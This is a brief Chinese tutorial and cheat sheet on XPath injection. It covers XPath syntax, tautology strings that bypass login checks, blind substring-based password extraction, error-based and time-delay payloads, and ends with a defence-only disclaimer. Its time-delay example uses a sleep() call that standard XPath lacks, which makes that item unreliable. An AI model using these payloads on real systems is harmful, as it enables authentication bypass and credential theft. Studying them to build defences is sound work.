XPath注入是一种利用XPath查询语言漏洞的攻击技术,类似于SQL注入。以下是XPath注入的基础语法和常见技巧:
节点选择
/ - 从根节点开始// - 选择文档中所有匹配的节点. - 当前节点.. - 父节点谓词(过滤条件)
[条件] - 用于过滤节点//user[username='admin']布尔盲注
//user[username='admin' and substring(password,1,1)='a']
//user[username='admin' and string-length(password)=8]
条件注入
' or 1=1 or 'a'='a
' or true() or '
字符串连接
concat('adm','in')
注释绕过
' or 1=1 (: 注释 :)
函数利用
substring() - 提取子字符串string-length() - 获取字符串长度contains() - 检查是否包含子字符串starts-with() - 检查是否以某字符串开头简单注入
//user[username='' or '1'='1' and password='' or '1'='1']
提取信息
//user[username='admin']/password
基于错误的注入
' or count(/*)=1 or 'a'='a
时间延迟注入
//user[username='admin' and (if (substring(password,1,1)='a') then true() else sleep(5))]
请注意,这些信息仅供学习防御XPath注入攻击使用,切勿用于非法用途。